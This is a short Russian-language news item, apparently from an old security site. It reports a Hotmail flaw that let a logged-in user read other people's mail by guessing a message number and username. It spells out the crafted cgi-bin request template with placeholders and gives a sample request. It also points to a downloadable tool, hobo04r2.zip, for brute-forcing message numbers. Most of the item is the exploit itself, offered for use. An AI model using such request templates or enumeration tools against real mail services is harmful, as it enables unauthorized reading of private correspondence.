Еще одна реальная, но трудно используемая
дыра найдена в Hotmail. Зайдя на свой ящик, по
идее можно просматривать сообщения любого
другого. Для этого “всего лишь” нужно
угадать номер сообщения и знать имя
пользователя. Адрес для чтения писем таков:
http://pv2fd.pav2.hotmail.msn.com/cgi-bin/saferd? _lang=EN&hm___tg=http%3a%2f%2f64%2e4%2e36%
2e250%2fcgi%2dbin%2fgetmsg&hm___
qs=%26msg%3dMSGXXXXXXXXX% 2e(X)X%26start%3
d1%26len%3d99999999999%26login% 3dUSERNAME%26domain%3dhotmail%2ecom
USERNAME – имя пользователя
XXXXXXXXX – номер сообщения
(X)X – второй номер между 1 и 59 (вероятно)
Например:
http://lw2fd.hotmail.msn.com/cgi-bin/getmsg? curmbox=F000000001&a=
5691b2b44e104176111971aa0fbb1274&m sg=MSG998000947.3&start=197078&len=
1060&msgread=1&mfs=182
Программа для перебора номеров (работает
медленно): hobo04r2.zip
